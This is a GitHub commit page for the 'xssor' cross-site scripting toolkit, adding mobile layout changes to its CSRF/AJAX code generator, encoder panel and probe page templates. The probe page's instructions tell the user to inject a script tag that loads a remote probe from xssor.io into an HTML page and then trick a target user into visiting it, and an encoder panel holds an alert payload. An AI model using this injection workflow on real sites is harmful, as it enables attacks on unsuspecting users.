Skip to content

Commit

Permalink
Support mobile
Browse files Browse the repository at this point in the history
  • Loading branch information
易国勇 committed Aug 20, 2017
1 parent 464f360 commit aef2f3f
Show file tree
Hide file tree
Showing 4 changed files with 129 additions and 68 deletions.
72 changes: 38 additions & 34 deletions xssor/templates/codzl.html
Original file line number Diff line number Diff line change
@@ -1,34 +1,38 @@
<div class="panel panel-default">
<div class="panel-heading">CREATOR CODZ</div>
<div class="panel-body">
<div id="ca_blank" class="form-inline">
<select id="ca_method" name="ca_methoda" class="form-control input-sm">
<option value="POST">POST</option>
<option value="GET">GET</option>
</select>
<input type="text" id="ca_action" class="form-control input-sm" name="ca_action" value="http://foo/submit.php" />
<input type="text" id="ca_kv" name="ca_kv" class="form-control input-sm" value="key1=value1&key2=value2" />
<p style="padding:5px 0 0 0;margin:0;">
<select id="csrflang" class="form-control input-sm">
<option value="">CSRF Language</option>
<option value="js">JavaScript</option>
<option value="as">Flash AS3</option>
<option value="asp">ASP</option>
<option value="php">PHP</option>
<!--option value="py">Python</option-->
</select>
<code><input type="button" id="button_csrf" class="btn btn-xs" value="CREATE YOUR CSRF" disabled="true" /></code>
|
<select id="ajax_form_type" class="form-control input-sm">
<option value="">Content-Type</option>
<option value="1">multipart/form-data</option>
<option value="2">application/x-www-form-urlencoded</option>
</select>
<!--input class="button" type="checkbox" name="use_jquery" id="use_jquery" /><label for="use_jquery"> JQuery</label>
<br /-->
<code><input type="button" id="button_ajax" class="btn btn-xs" value="CREATE YOUR AJAX" disabled="true" /></code>
</p>
</div>
<textarea id="ca_textarea"></textarea>
</div>
</div>
<div class="panel panel-default">
<div class="panel-heading">CREATOR CODZ</div>
<div class="panel-body">
<div id="ca_blank" class="form-inline">
<select id="ca_method" name="ca_methoda" class="form-control input-sm">
<option value="POST">POST</option>
<option value="GET">GET</option>
</select>
<span class="line"><input type="text" id="ca_action" class="form-control input-sm" name="ca_action" value="http://foo/submit.php" /></span>
<span class="line"><input type="text" id="ca_kv" name="ca_kv" class="form-control input-sm" value="key1=value1&key2=value2" /></span>
<p style="padding:5px 0 0 0;margin:0;">
<span class="line">
<select id="csrflang" class="form-control input-sm">
<option value="">CSRF Language</option>
<option value="js">JavaScript</option>
<option value="as">Flash AS3</option>
<option value="asp">ASP</option>
<option value="php">PHP</option>
<!--option value="py">Python</option-->
</select>
<code><input type="button" id="button_csrf" class="btn btn-xs" value="CREATE YOUR CSRF" disabled="true" /></code>
</span>

<span class="line">
<select id="ajax_form_type" class="form-control input-sm">
<option value="">Content-Type</option>
<option value="1">multipart/form-data</option>
<option value="2">application/x-www-form-urlencoded</option>
</select>
<!--input class="button" type="checkbox" name="use_jquery" id="use_jquery" /><label for="use_jquery"> JQuery</label>
<br /-->
<code><input type="button" id="button_ajax" class="btn btn-xs" value="CREATE YOUR AJAX" disabled="true" /></code>
</span>
</p>
</div>
<textarea id="ca_textarea" class="form-control"></textarea>
</div>
</div>
105 changes: 74 additions & 31 deletions xssor/templates/ende.html
Original file line number Diff line number Diff line change
@@ -1,36 +1,79 @@
<div id="ende_box" class="form-inline">
<p>
<code><input class="btn btn-xs" type="button" value="→16en" onclick="xssorende.encode.en(16)" /> <input class="btn btn-xs" type="button" value="De" onclick="xssorende.encode.de(16)" /> <input class="radio inline" type="radio" name="hex" checked="checked" />\u<input class="radio inline" type="radio" name="hex" id="hex_x" />&amp;#x;</code>
<code><input class="btn btn-xs" type="button" value="→10en" onclick="xssorende.encode.en(10)" /> <input class="btn btn-xs" type="button" value="De" onclick="xssorende.encode.de(10)" /> <input class="radio inline" type="radio" name="dec" id="dec_0" checked="checked" />,<input class="radio inline" type="radio" name="dec" id="dec_1" />c<input class="radio inline" type="radio" name="dec" id="dec_2" />&amp;#<input class="radio inline" type="radio" name="dec" id="dec_3" />&amp;#;</code>
<code><input class="btn btn-xs" type="button" value="packer" id="pack-script" /> <span class="arrow">&harr;</span> <input class="btn btn-xs" type="button" value="unpacker" id="decode-script" /></code>

<code><input class="btn btn-xs" type="button" id="jsbeautify" value="js beautify" style="color:#F11F34;font-weight:bold;" />
<input class="btn btn-xs" type="button" value="eval codz" onclick="try{eval(_g('ende_textarea').value)}catch(e){alert('eval error- -! '+e);}" style="color:#F11F34;font-weight:bold;" />
<input class="btn btn-xs" type="button" value="clear codz" onclick="_g('ende_textarea').value='';" /></code>
</p><p>
<code><input class="btn btn-xs" type="button" value="escape" onclick="xssorende.encode._escape()" /> <span class="arrow">&harr;</span> <input class="btn btn-xs" type="button" value="unescape" onclick="xssorende.encode._unescape()" /></code>
<code><input class="btn btn-xs" type="button" value="encodeURI" onclick="xssorende.encode._encodeURI()" /> <span class="arrow">&harr;</span> <input class="btn btn-xs" type="button" value="decodeURI" onclick="xssorende.encode._decodeURI()" /></code>
<code><input class="btn btn-xs" type="button" value="encodeURIC" title="encodeURIComponent" onclick="xssorende.encode._encodeURIComponent()" /> <span class="arrow">&harr;</span> <input class="btn btn-xs" type="button" value="decodeURIC" title="decodeURIComponent" onclick="xssorende.encode._decodeURIComponent()" /></code>
<code><input class="btn btn-xs" type="button" value="HtmlEncode" onclick="xssorende.encode.htmlencode(1)" /> <span class="arrow">&harr;</span> <input class="btn btn-xs" type="button" value="HtmlDecode" onclick="xssorende.encode.htmlencode(2)" /></code>
<code><input class="btn btn-xs" type="button" value="Html2JS" onclick="xssorende.encode.html2js(1)" /> <span class="arrow">&harr;</span> <input class="btn btn-xs" type="button" value="JS2Html" onclick="xssorende.encode.html2js(2)" /></code>
</p><p>
<code><input class="btn btn-xs" type="button" value="base64En" onclick="xssorende.encode.base64Code(1)" /> <span class="arrow">&harr;</span> <input class="btn btn-xs" type="button" value="base64De" onclick="xssorende.encode.base64Code(2)" /></code>

<code>
<input class="btn btn-xs" type="button" value="→16en" onclick="xssorende.encode.en(16)" />
<input class="btn btn-xs" type="button" value="De" onclick="xssorende.encode.de(16)" />
<input class="radio inline" type="radio" name="hex" checked="checked" />\u
<input class="radio inline" type="radio" name="hex" id="hex_x" />&amp;#x;
</code>
<code>
<input class="btn btn-xs" type="button" value="→10en" onclick="xssorende.encode.en(10)" />
<input class="btn btn-xs" type="button" value="De" onclick="xssorende.encode.de(10)" />
<input class="radio inline" type="radio" name="dec" id="dec_0" checked="checked" />,
<input class="radio inline" type="radio" name="dec" id="dec_1" />c
<input class="radio inline" type="radio" name="dec" id="dec_2" />&amp;#
<input class="radio inline" type="radio" name="dec" id="dec_3" />&amp;#;
</code>
<code>
<input class="btn btn-xs" type="button" value="packer" id="pack-script" />
<span class="arrow">&harr;</span>
<input class="btn btn-xs" type="button" value="unpacker" id="decode-script" />
</code>

<code><select id="charset" class="form-control input-sm">
<option value="utf-7">UTF-7</option>
</select>
<input class="btn btn-xs" type="button" value="en" onclick="xssorende.encode.utf7_encode()" /> / <input class="btn btn-xs" type="button" value="de" onclick="xssorende.encode.utf7_decode()" /></code>

<code><select id="hash" class="form-control input-sm">
<option value="md5">MD5</option>
<option value="sha1">SHA1</option>
<option value="sha256">SHA256</option>
</select>
<input class="btn btn-xs" type="button" value="en" id="btn_hash" /></code>

<code><input class="form-control input-sm" type="text" id="oldC" size="5" /> <span class="arrow">&rarr;</span> <input class="form-control input-sm" type="text" id="newC" size="5" /> <input class="btn btn-xs" type="button" value="replace" onclick="xssorende.encode.replaceC()" /></code>
<code>
<input class="btn btn-xs" type="button" id="jsbeautify" value="js beautify" style="color:#F11F34;font-weight:bold;" />
<input class="btn btn-xs" type="button" value="eval codz" onclick="try{eval(_g('ende_textarea').value)}catch(e){alert('eval error- -! '+e);}" style="color:#F11F34;font-weight:bold;" />
<input class="btn btn-xs" type="button" value="clear codz" onclick="_g('ende_textarea').value='';" />
</code>
</p>
<p>
<code>
<input class="btn btn-xs" type="button" value="escape" onclick="xssorende.encode._escape()" />
<span class="arrow">&harr;</span>
<input class="btn btn-xs" type="button" value="unescape" onclick="xssorende.encode._unescape()" />
<input class="btn btn-xs" type="button" value="encodeURI" onclick="xssorende.encode._encodeURI()" />
<span class="arrow">&harr;</span>
<input class="btn btn-xs" type="button" value="decodeURI" onclick="xssorende.encode._decodeURI()" />

<input class="btn btn-xs" type="button" value="encodeURIC" title="encodeURIComponent" onclick="xssorende.encode._encodeURIComponent()" />
<span class="arrow">&harr;</span>
<input class="btn btn-xs" type="button" value="decodeURIC" title="decodeURIComponent" onclick="xssorende.encode._decodeURIComponent()" />

<input class="btn btn-xs" type="button" value="Html2JS" onclick="xssorende.encode.html2js(1)" />
<span class="arrow">&harr;</span>
<input class="btn btn-xs" type="button" value="JS2Html" onclick="xssorende.encode.html2js(2)" />

<input class="btn btn-xs" type="button" value="HtmlEncode" onclick="xssorende.encode.htmlencode(1)" />
<span class="arrow">&harr;</span>
<input class="btn btn-xs" type="button" value="HtmlDecode" onclick="xssorende.encode.htmlencode(2)" />
</code>
</p>
<textarea id="ende_textarea">x=alert;x(/xssor/.source);</textarea>
</div>
<p>
<code>
<input class="btn btn-xs" type="button" value="base64En" onclick="xssorende.encode.base64Code(1)" />
<span class="arrow">&harr;</span> <input class="btn btn-xs" type="button" value="base64De" onclick="xssorende.encode.base64Code(2)" />
</code>

<code>
<select id="hash" class="form-control input-sm">
<option value="md5">MD5</option>
<option value="sha1">SHA1</option>
<option value="sha256">SHA256</option>
</select>
<input class="btn btn-xs" type="button" value="en" id="btn_hash" />

<select id="charset" class="form-control input-sm">
<option value="utf-7">UTF-7</option>
</select>
<input class="btn btn-xs" type="button" value="en" onclick="xssorende.encode.utf7_encode()" /> /
<input class="btn btn-xs" type="button" value="de" onclick="xssorende.encode.utf7_decode()" />
</code>

<code>
<input class="form-control input-sm" type="text" id="oldC" size="5" />
<span class="arrow">&rarr;</span> <input class="form-control input-sm" type="text" id="newC" size="5" />
<input class="btn btn-xs" type="button" value="replace" onclick="xssorende.encode.replaceC()" />
</code>
</p>
<textarea id="ende_textarea" class="form-control">x=alert;x(/xssor/.source);</textarea>
</div>
16 changes: 15 additions & 1 deletion xssor/templates/index.html
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
{% block css %}
<style>
.masthead h2{margin-top:10px;}
.form-inline{margin-bottom:10px;}
.form-inline{margin-bottom:10px;}

/*ende*/
#ende_textarea{width:100%; height:400px; color:#333; padding:5px;}
Expand Down Expand Up @@ -36,6 +36,20 @@
#about_rbox{padding-left:5px;padding-right:0;}
#about_lbox pre{padding:0;background-color:transparent;border:0;font-family:"Courier New", Monospace;}

/*mobile*/
@media (max-width: 575px) {
.nav-tabs>li>a{padding:6px;}
.panel-heading{padding:3px;line-height: 6px;}
input[type="radio"], input[type="checkbox"]{display: inline;}
select.input-sm,input.input-sm{display: inline-block; width:85px;padding:2px;}
#ende_box p{line-height: 27px;margin:0 0 3px;}
#ende_box code{display:block;padding:1px 10px;}
.input-group-addon{padding:12px 5px;}
.form-control{padding:0 0 0 3px;}
#ca_blank .line{display: block;}
#ca_blank select.input-sm{display: inline-block; width:135px; padding:2px;}
#ca_blank input.input-sm{display: inline-block; width:220px;padding:2px;}
}
</style>
{% endblock %}

Expand Down
4 changes: 2 additions & 2 deletions xssor/templates/probe.html
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ <h1>Create Probe</h1>
<form class="form-inline">
<div class="form-group">
<div class="input-group">
<div class="input-group-addon"><span class="glyphicon glyphicon-console" aria-hidden="true"></span> INPUT THIS STRING: <code>{{pid}}</code> TO</div>
<div class="input-group-addon"><span class="glyphicon glyphicon-console" aria-hidden="true"></span> INPUT:<code>{{pid}}</code>TO</div>
<input type="text" class="form-control" id="probe_tip1_text" placeholder="{{pid}}">
<div class="input-group-addon">.js</div>
</div>
Expand Down Expand Up @@ -50,7 +50,7 @@ <h1>Create Probe</h1>
<p><span class="label label-danger">1ST STAGE</span></p>
<p>1. Create Probe.</p>
<p>2. Inject "PROBE LINK" to a HTML page, eg:<br />
<code>&lt;script/src=&quot;http://xssor.io/probe/wuvwuup.js&quot;&gt;&lt;/script&gt;</code>
<code style="word-wrap:break-word;">&lt;script/src=&quot;http://xssor.io/probe/wuvwuup.js&quot;&gt;&lt;/script&gt;</code>
</p>
<p>3. Cheat target user access this HTML page.</p>
<p>4. Wait for target user online...</p>
Expand Down

0 comments on commit aef2f3f

Please sign in to comment.